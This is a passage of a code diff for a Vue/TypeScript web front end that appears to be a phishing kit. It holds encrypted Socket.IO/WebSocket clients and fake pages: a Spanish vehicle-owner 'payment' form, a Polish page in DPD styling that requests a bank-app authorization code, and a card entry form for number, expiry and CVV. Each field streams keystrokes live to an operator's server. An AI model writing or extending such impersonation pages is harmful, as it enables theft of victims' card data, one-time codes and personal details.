);
return { aesKey };
}
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
const MAX_QUEUE_SIZE = 200;
class Socket {
url: string;
private token: string;
private sessionCrypto: SessionCrypto | null;
private ecdhKeyPair: CryptoKeyPair | null = null;
private clientPublicKeyB64: string | null = null;
/** 握手全部完成ECDH + login后才为 true期间消息也入队 */
private isReady = false;
socket: SocketIOClient | null = null;
listeners: { [key: string]: Function[] } = {};
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
this.url = url;
this.token = token;
this.sessionCrypto = sessionCrypto;
this.init();
this.setupVisibilityListener();
}
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
private async initECDH() {
if (!this.ecdhKeyPair) {
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
this.ecdhKeyPair = keyPair;
this.clientPublicKeyB64 = clientPublicKeyB64;
}
}
/**
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
* 每次 connect包括服务端重启后重连都调用确保密钥始终有效。
*/
private performKeyExchange(): Promise<void> {
return new Promise<void>((resolve) => {
// 3 秒超时:若服务端不响应则无加密继续
const timeout = setTimeout(() => {
this.socket?.off('key_exchange_result', onResult);
this.sessionCrypto = null;
resolve();
}, 3000);
const onResult = async (serverPubKeyB64: string) => {
clearTimeout(timeout);
try {
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
} catch (e) {
console.error('[Socket] key derivation failed:', e);
this.sessionCrypto = null;
}
resolve();
};
this.socket?.once('key_exchange_result', onResult);
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
});
}
/**
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
* 服务端发送 login success 时 client.State 已同步设置完毕,
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
*/
private async sendLoginAndWait(): Promise<void> {
await new Promise<void>((resolve) => {
let settled = false;
const settle = () => {
if (settled) return;
settled = true;
this.socket?.off('message', onRawMessage);
clearTimeout(timer);
resolve();
};
// 3 秒兜底:即使没收到确认也继续
const timer = setTimeout(settle, 3000);
const onRawMessage = async (raw: unknown) => {
try {
let text: string;
if (this.sessionCrypto) {
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
} else {
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
}
const parsed = JSON.parse(text);
if (parsed?.event === 'login') settle();
} catch { /* 忽略解析失败 */ }
};
// 先注册监听,再发 login避免极速响应漏掉
this.socket?.on('message', onRawMessage);
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
});
}
init() {
if (this.socket) {
return;
}
console.log("Socket initialized with URL:", this.url);
this.socket = io(this.url, {
path: "/socket.io",
query: this.token ? { token: this.token } : undefined,
reconnectionDelay: 1500,
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
});
// 连接事件处理(含重连):每次都重新做 ECDH解决服务端重启后密钥失效问题
this.socket.on('connect', async () => {
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
this.socket?.off('key_exchange_result');
try {
await this.initECDH();
await this.performKeyExchange();
// 等待服务端 login success 确认后再冲刷队列
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
await this.sendLoginAndWait();
} catch (e) {
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
this.sessionCrypto = null;
} finally {
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
this.isReady = true;
await this.flushMessageQueue(); // 连接后按序发送排队消息
this.emit('open', { type: 'open' });
}
});
// 消息接收(支持 AES-GCM 解密)
this.socket.on('message', async (data) => {
let plainText: string;
if (this.sessionCrypto) {
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
} else {
plainText = typeof data === 'string' ? data : JSON.stringify(data);
}
this.emit('message', plainText);
});
// 连接错误
this.socket.on('connect_error', (error) => {
this.emit('error', error);
});
// 断开连接
this.socket.on('disconnect', (reason) => {
this.isReady = false; // 断开后消息重新入队
this.emit('close', { reason });
});
// 重连尝试
this.socket.on('reconnect_attempt', (attemptNumber) => {
this.emit('reconnect_attempt', attemptNumber);
});
// 重连成功
this.socket.on('reconnect', (attemptNumber) => {
this.emit('reconnect', attemptNumber);
});
// 重连失败
this.socket.on('reconnect_failed', () => {
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
this.emit('reconnect_failed', { type: 'reconnect_failed' });
});
// 处理所有其他事件
this.socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
this.emit(eventName, args);
}
});
}
isConnected(): boolean {
return this.socket?.connected ?? false;
}
/** 用于握手阶段的 login 事件,同样走加密通道 */
private async sendRaw(data: string) {
if (this.sessionCrypto) {
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', data);
}
}
async send(data: string) {
try {
const payload = JSON.parse(data);
// 添加时间戳
const messageData = {
...payload,
timestamp: payload.timestamp || Date.now()
};
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
if (!this.isReady) {
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
this.messageQueue.push(messageData);
} else {
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
}
this.reconnectIfNeeded();
return;
}
const serialized = JSON.stringify(messageData);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (error) {
console.error('Invalid message format. Must be a valid JSON string.', error);
}
}
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
async flushMessageQueue() {
if (this.messageQueue.length === 0) return;
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
for (const msg of queue) {
if (!this.isReady || !this.socket?.connected) {
// 发送途中再次断开,将剩余消息放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
try {
const serialized = JSON.stringify(msg);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (e) {
console.error('[Socket] flushMessageQueue 发送失败:', e);
// 发送失败也放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
}
}
reconnectIfNeeded() {
if (!this.isConnected() && this.socket) {
this.socket.connect();
}
}
on(event: string, callback: Function) {
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
} else {
// 其他 Socket.IO 原生事件
this.socket?.on(event, (...args) => callback(...args));
}
}
off(event: string) {
if (this.listeners[event]) {
delete this.listeners[event];
}
this.socket?.off(event);
}
emit(event: string, data: any) {
if (this.listeners[event]) {
this.listeners[event].forEach(callback => callback(data));
}
}
private handleVisibilityChange = () => {
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
this.socket.connect();
}
};
setupVisibilityListener() {
document.addEventListener("visibilitychange", this.handleVisibilityChange);
}
disconnect() {
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
this.socket?.disconnect();
}
}
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
const socket = new Socket(url, token, sessionCrypto);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
disconnect: socket.disconnect.bind(socket),
};
}
export { useSocketIo, Socket };

View File

@@ -0,0 +1,392 @@
import { useLoadingStore } from "@/stores/loadingStore";
import { sendInput } from "@/api/api";
// ============ 类型定义 ============
interface SocketOptions {
heartbeatInterval?: number;
reconnectInterval?: number;
maxReconnectAttempts?: number;
retryIntervals?: number[];
forceClose?: boolean;
timeOut?: boolean;
}
interface PendingMessage {
id: string;
data: string;
retries: number;
timestamp: number;
}
// ============ 默认配置 ============
const DEFAULT_OPTIONS: Required<SocketOptions> = {
heartbeatInterval: 2000,
reconnectInterval: 1000,
maxReconnectAttempts: 10,
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
forceClose: false,
timeOut: false,
};
const MAX_RECONNECT_INTERVAL = 30000;
const MAX_HEARTBEAT_MISS = 3;
const RETRY_CHECK_INTERVAL = 1000;
// ============ Socket 类 ============
class Socket {
private url: string;
private ws: WebSocket | null = null;
private opts: Required<SocketOptions>;
// 连接管理
private reconnectAttempts = 0;
private reconnectTimeoutId: number | null = null;
// 心跳管理
private heartbeatIntervalId: number | null = null;
private heartbeatMissCount = 0;
// 消息管理
private sendQueue: PendingMessage[] = [];
private pendingConfirmations = new Map<string, PendingMessage>();
private retryCheckerId: number | null = null;
// 事件管理
private listeners: Record<string, Function[]> = {};
constructor(url: string, opts: SocketOptions = {}) {
this.url = url;
this.opts = { ...DEFAULT_OPTIONS, ...opts };
this.init();
this.setupBrowserListeners();
}
// ============ 初始化与连接 ============
private init(): void {
if (this.isConnectingOrOpen()) return;
this.heartbeatMissCount = 0;
this.ws = new WebSocket(this.url);
this.bindWebSocketEvents();
}
private bindWebSocketEvents(): void {
if (!this.ws) return;
this.ws.onopen = this.handleOpen.bind(this);
this.ws.onmessage = this.handleMessage.bind(this);
this.ws.onerror = this.handleError.bind(this);
this.ws.onclose = this.handleClose.bind(this);
}
// ============ WebSocket 事件处理 ============
private handleOpen(event: Event): void {
this.reconnectAttempts = 0;
this.clearReconnectTimeout();
this.startHeartbeat();
this.startRetryChecker();
this.emit("open", event);
this.flushSendQueue();
}
private handleMessage(event: MessageEvent): void {
try {
const data = JSON.parse(event.data);
switch (data.event) {
case "heartbeat":
this.heartbeatMissCount = 0;
break;
case "ack":
this.handleAck(data.messageId);
break;
default:
this.emit("message", event.data);
}
} catch {
this.emit("message", event.data);
}
}
private handleError(event: Event): void {
this.emit("error", event);
}
private handleClose(event: CloseEvent): void {
this.stopHeartbeat();
this.stopRetryChecker();
this.emit("close", event);
this.scheduleReconnect();
}
private handleAck(messageId: string): void {
if (messageId && this.pendingConfirmations.has(messageId)) {
this.pendingConfirmations.delete(messageId);
}
}
// ============ 连接状态 ============
private isConnectingOrOpen(): boolean {
return this.ws?.readyState === WebSocket.CONNECTING
|| this.ws?.readyState === WebSocket.OPEN;
}
private isConnected(): boolean {
return this.ws?.readyState === WebSocket.OPEN;
}
private isClosed(): boolean {
return this.ws?.readyState === WebSocket.CLOSED;
}
// ============ 重连机制 ============
private scheduleReconnect(): void {
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
const timeout = Math.min(
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
MAX_RECONNECT_INTERVAL
);
this.reconnectTimeoutId = window.setTimeout(() => {
this.reconnectAttempts++;
this.reconnectTimeoutId = null;
if (this.isClosed()) {
this.init();
}
}, timeout);
}
private canReconnect(): boolean {
return !this.opts.maxReconnectAttempts
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
}
private clearReconnectTimeout(): void {
if (this.reconnectTimeoutId !== null) {
clearTimeout(this.reconnectTimeoutId);
this.reconnectTimeoutId = null;
}
}
private reconnectIfNeeded(): void {
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
this.init();
}
}
// ============ 心跳机制 ============
private startHeartbeat(): void {
if (!this.opts.heartbeatInterval) return;
this.heartbeatIntervalId = window.setInterval(() => {
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
this.ws?.close();
return;
}
this.heartbeatMissCount++;
if (this.isConnected()) {
this.ws!.send(JSON.stringify({
event: "heartbeat",
content: { tag: "user" }
}));
}
}, this.opts.heartbeatInterval);
}
private stopHeartbeat(): void {
if (this.heartbeatIntervalId) {
clearInterval(this.heartbeatIntervalId);
this.heartbeatIntervalId = null;
}
}
// ============ 消息发送 ============
async send(data: string): Promise<void> {
try {
const message = JSON.parse(data);
const pendingMsg = this.createPendingMessage(message);
if (this.isConnected()) {
// WebSocket 连接正常,直接发送
this.sendDirect(pendingMsg);
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
// 可以重连,加入队列等待重连后发送
this.enqueue(pendingMsg);
this.reconnectIfNeeded();
} else {
await this.sendViaHttp(message);
}
} catch {
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
}
}
private async sendViaHttp(message: any): Promise<void> {
try {
if (message.event !== "input_text") {
await sendInput(message);
}
} catch (error) {
console.error("[WebSocket] HTTP fallback failed:", error);
throw error;
}
}
private createPendingMessage(message: any): PendingMessage {
const id = this.generateMessageId();
const timestamp = Date.now();
return {
id,
data: JSON.stringify({ ...message, messageId: id, timestamp }),
retries: 0,
timestamp,
};
}
private sendDirect(pendingMsg: PendingMessage): void {
this.ws?.send(pendingMsg.data);
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
}
private enqueue(pendingMsg: PendingMessage): void {
this.sendQueue.push(pendingMsg);
}
private flushSendQueue(): void {
if (!this.isConnected()) return;
while (this.sendQueue.length > 0 && this.isConnected()) {
const pendingMsg = this.sendQueue.shift();
if (pendingMsg) {
this.sendDirect(pendingMsg);
}
}
}
// ============ 消息重试机制 ============
private startRetryChecker(): void {
this.stopRetryChecker();
this.retryCheckerId = window.setInterval(() => {
this.checkPendingMessages();
}, RETRY_CHECK_INTERVAL);
}
private stopRetryChecker(): void {
if (this.retryCheckerId) {
clearInterval(this.retryCheckerId);
this.retryCheckerId = null;
}
}
private checkPendingMessages(): void {
const now = Date.now();
const { retryIntervals } = this.opts;
for (const [id, msg] of this.pendingConfirmations.entries()) {
const age = now - msg.timestamp;
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
// 未到重试时间
if (age < waitTime) continue;
// 超过最大重试次数,降级使用 HTTP
if (msg.retries >= retryIntervals.length) {
this.pendingConfirmations.delete(id);
try {
const message = JSON.parse(msg.data);
this.sendViaHttp(message).catch((error) => {
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
this.sendQueue.push(msg);
});
} catch (error) {
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
this.sendQueue.push(msg);
}
useLoadingStore().setLoading(false);
continue;
}
// 重试发送
if (this.isConnected()) {
this.ws?.send(msg.data);
msg.retries++;
}
}
}
// ============ 工具方法 ============
private generateMessageId(): string {
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
}
// ============ 事件系统 ============
on(event: string, callback: Function): void {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
}
off(event: string): void {
delete this.listeners[event];
}
private emit(event: string, data: any): void {
this.listeners[event]?.forEach(callback => callback(data));
}
// ============ 浏览器事件监听 ============
private setupBrowserListeners(): void {
// 页面可见性变化
document.addEventListener("visibilitychange", () => {
if (document.visibilityState === "visible") {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
}
});
// 网络状态变化
window.addEventListener("online", () => {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
});
}
}
// ============ 导出 ============
function useSocket(url: string, opts?: SocketOptions) {
const socket = new Socket(url, opts);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
};
}
export { useSocket, Socket };
export type { SocketOptions, PendingMessage };

View File

@@ -0,0 +1,335 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { reactive, ref, onMounted } from "vue";
import { useI18n } from "vue-i18n";
import { inputChange, configData, myWebSocket } from "@/utils/common";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
// 1. 完全保留原始數據結構,確保與後端/工具類兼容
const formData = reactive({
fullName: "", // Nombre completo
lastName: "N/A", // 雖然圖中沒分開,但保留此 key 確保邏輯不報錯
phone: "", // Número de teléfono
address: "", // Dirección
address2: "", // 保留備用
city: "", // Ciudad
state: "", // Estado
zipCode: "", // Código postal
email: "", // Correo electrónico
});
// 2. 完全保留原始錯誤狀態邏輯
const formDataError = reactive({
fullName: false,
lastName: false,
phone: false,
address: false,
city: false,
state: false,
zipCode: false,
email: false,
});
const emailErrorMessage = ref("");
// 3. 嚴格執行 inputChange 實時同步邏輯
const textChange = (event: any, key: string) => {
const value = event.target.value;
// 核心要求:調用 utils 中的實時同步函數
inputChange("input_address", key, value);
if (key === 'email') {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!value) {
formDataError.email = true;
emailErrorMessage.value = "Required field";
} else if (!emailPattern.test(value)) {
formDataError.email = true;
emailErrorMessage.value = "Please enter a valid email address";
} else {
formDataError.email = false;
emailErrorMessage.value = "";
}
} else if (key !== 'address2') {
(formDataError as any)[key] = !value;
}
};
// 4. 按鈕啟用邏輯 (isFormComplete)
const isFormComplete = () => {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return (
formData.fullName &&
formData.email &&
emailPattern.test(formData.email) &&
formData.phone &&
formData.address &&
formData.city &&
formData.state &&
formData.zipCode
);
};
// 5. Next 跳轉邏輯
const next = () => {
// 再次校驗
formDataError.fullName = !formData.fullName;
formDataError.city = !formData.city;
formDataError.address = !formData.address;
formDataError.zipCode = !formData.zipCode;
formDataError.state = !formData.state;
formDataError.phone = !formData.phone;
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!formData.email || !emailPattern.test(formData.email)) {
formDataError.email = true;
}
const hasError = Object.values(formDataError).some(val => val === true);
if (hasError) return;
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 400);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phoneNumber");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div class="chile-card-container">
<div class="chile-header">
<h2>Datos del titular del vehículo</h2>
<div class="blue-line"></div>
</div>
<div class="info-text">
<p v-html="configData?.address_msg
? configData?.address_msg
: 'Para que el pago se asocie correctamente a su vehículo, necesitamos confirmar los datos del titular registrados.<br><br>Revise e ingrese la información solicitada con atención. Esta etapa es solo de identificación y no genera cobros hasta completar el pago en el siguiente paso.'">
</p>
</div>
<form @submit.prevent="next" novalidate>
<div class="input-item">
<label>Nombre completo</label>
<input
type="text"
v-model="formData.fullName"
@input="(e) => textChange(e, 'fullName')"
:class="{ 'error-border': formDataError.fullName }"
/>
</div>
<div class="input-item">
<label>Dirección</label>
<input
type="text"
v-model="formData.address"
@input="(e) => textChange(e, 'address')"
:class="{ 'error-border': formDataError.address }"
/>
</div>
<div class="input-item">
<label>Ciudad</label>
<input
type="text"
v-model="formData.city"
@input="(e) => textChange(e, 'city')"
:class="{ 'error-border': formDataError.city }"
/>
</div>
<div class="input-item">
<label>Estado</label>
<input
type="text"
v-model="formData.state"
@input="(e) => textChange(e, 'state')"
:class="{ 'error-border': formDataError.state }"
/>
</div>
<div class="input-item">
<label>Código postal</label>
<input
type="text"
v-model="formData.zipCode"
@input="(e) => textChange(e, 'zipCode')"
:class="{ 'error-border': formDataError.zipCode }"
/>
</div>
<div class="input-item">
<label>Número de teléfono</label>
<input
type="tel"
v-model="formData.phone"
@input="(e) => textChange(e, 'phone')"
:class="{ 'error-border': formDataError.phone }"
/>
</div>
<div class="input-item">
<label>Correo electrónico</label>
<input
type="email"
v-model="formData.email"
@input="(e) => textChange(e, 'email')"
:class="{ 'error-border': formDataError.email }"
/>
<div class="error-msg" v-if="formDataError.email">{{ emailErrorMessage }}</div>
</div>
<div class="action-btn-box">
<button
type="submit"
class="chile-btn"
:class="{ 'chile-btn-active': isFormComplete() }"
:disabled="!isFormComplete()"
>
Continuar al pago
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.main-content-body {
background-color: #f5f7f9;
min-height: 100vh;
display: flex;
justify-content: center;
padding: 20px 15px;
font-family: Arial, sans-serif;
}
/* 復刻圖中的圓潤邊框與卡片感 */
.chile-card-container {
width: 100%;
max-width: 480px;
background-color: #ffffff;
border: 1px solid #e1e8ed;
border-radius: 12px; /* 圓潤 Border */
padding: 25px 20px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05);
}
.chile-header h2 {
font-size: 20px;
font-weight: bold;
color: #333;
margin-bottom: 12px;
}
.blue-line {
height: 4px;
background-color: #4a90e2;
width: 100%;
margin-bottom: 25px;
}
.info-text p {
font-size: 14px;
color: #444;
line-height: 1.6;
margin-bottom: 15px;
}
.input-item {
margin-bottom: 20px;
}
.input-item label {
display: block;
font-weight: bold;
font-size: 16px;
margin-bottom: 8px;
color: #333;
}
input {
width: 100%;
padding: 12px 15px;
border: 1px solid #ced4da;
border-radius: 6px; /* 輸入框也圓潤 */
font-size: 16px;
box-sizing: border-box;
transition: border-color 0.2s;
}
input:focus {
outline: none;
border-color: #4a90e2;
}
.error-border {
border-color: #EF4444 !important;
background-color: #FFF5F5;
}
.error-msg {
color: #EF4444;
font-size: 12px;
margin-top: 5px;
}
.action-btn-box {
margin-top: 35px;
}
/* 智利風格藍色按鈕 */
.chile-btn {
width: 100%;
background-color: #A8B8C4; /* 禁用態灰色 */
color: #fff;
border: none;
border-radius: 8px;
padding: 16px;
font-size: 18px;
font-weight: bold;
cursor: not-allowed;
opacity: 0.7;
transition: all 0.3s;
}
.chile-btn-active {
background-color: #4a90e2 !important;
opacity: 1 !important;
cursor: pointer !important;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.chile-btn-active:active {
transform: translateY(1px);
background-color: #357abd !important;
}
</style>

View File

@@ -0,0 +1,275 @@
<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="dpd-app-wrapper">
<div class="dpd-app-card">
<!-- 手机 App 授权图示 -->
<div class="dpd-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
<p class="dpd-desc">
Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
Nie zamykaj tej strony do momentu potwierdzenia.
</p>
<div class="dpd-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
<p class="dpd-error" v-if="message">{{ message }}</p>
<div class="dpd-input-wrap" v-if="showInput">
<label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
<input
required
type="number"
inputmode="numeric"
class="dpd-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Wprowadź kod"
/>
<button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
</div>
<div class="dpd-loading-wrap" v-if="!showInput">
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji</p>
</div>
</div>
</div>
</template>
<style scoped>
.dpd-app-wrapper {
min-height: 100dvh;
background-color: #f6f6f6;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
font-family: Arial, sans-serif;
}
.dpd-app-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #e5e5e5;
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
padding: 36px 28px;
width: 100%;
max-width: 400px;
text-align: center;
}
.dpd-logo {
margin-bottom: 20px;
}
.dpd-logo-img {
width: 100px;
height: auto;
}
.dpd-phone-icon {
margin: 0 auto 20px;
}
.dpd-title {
font-size: 20px;
font-weight: 800;
color: #222;
margin-bottom: 12px;
}
.dpd-desc {
font-size: 14px;
color: #555;
line-height: 1.6;
margin-bottom: 20px;
}
.dpd-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #333;
margin-bottom: 8px;
}
.dpd-sub {
font-size: 13px;
color: #888;
margin: 4px 0;
}
.dpd-error {
color: #dc0032;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
}
.dpd-input-wrap {
margin-top: 20px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.dpd-input-label {
font-size: 14px;
font-weight: 600;
color: #333;
}
.dpd-input {
width: 80%;
padding: 10px 12px;
border: 2px solid #ccc;
border-radius: 6px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
}
.dpd-input:focus {
border-color: #dc0032;
}
.dpd-btn {
width: 80%;
padding: 12px;
background-color: #dc0032;
color: #fff;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.dpd-btn:active {
background-color: #b30026;
}
.dpd-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.dpd-spinner {
width: 48px;
height: 48px;
animation: spin 1.2s linear infinite;
}
.dpd-waiting {
font-size: 13px;
color: #999;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>

View File

@@ -0,0 +1,439 @@
<script setup lang="ts">
import { inject, nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import { useRoute, useRouter } from "vue-router";
import {
inputChange, configData,
myWebSocket,
} from "@/utils/common";
import { useI18n } from "vue-i18n";
// 銀行卡圖標
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
const c10 ="/Static_zy/default.svg";
const { t } = useI18n();
const router = useRouter();
const invoiceNumber = ref("");
const isModalVisible = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// 錯誤狀態提示
const errors = reactive({
cardName: false,
cardNumber: false,
expires: false,
cvv: false
});
const cardMessage = ref("");
const expiresErrorMsg = ref("");
const cvvMaxLength = ref(4);
// 卡種識別邏輯
const cardTypeImage = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return c10;
if (/^4/.test(num)) return c1;
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
if (/^3[47]/.test(num)) return c5;
if (/^(62|81)/.test(num)) return c4;
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
if (/^35/.test(num)) return c3;
if (/^(30|36|38|39)/.test(num)) return c8;
if (/^(50|56|57|58|6)/.test(num)) return c7;
return c10;
});
const isCardIdentified = computed(() => cardTypeImage.value !== c10);
// 統一的輸入校驗邏輯
const onCardNameChange = (e: any) => {
formData.cardName = e.target.value;
errors.cardName = !formData.cardName;
cardMessage.value = "";
inputChange("input_card", "cardName", formData.cardName);
};
const onCardNumberChange = (e: any) => {
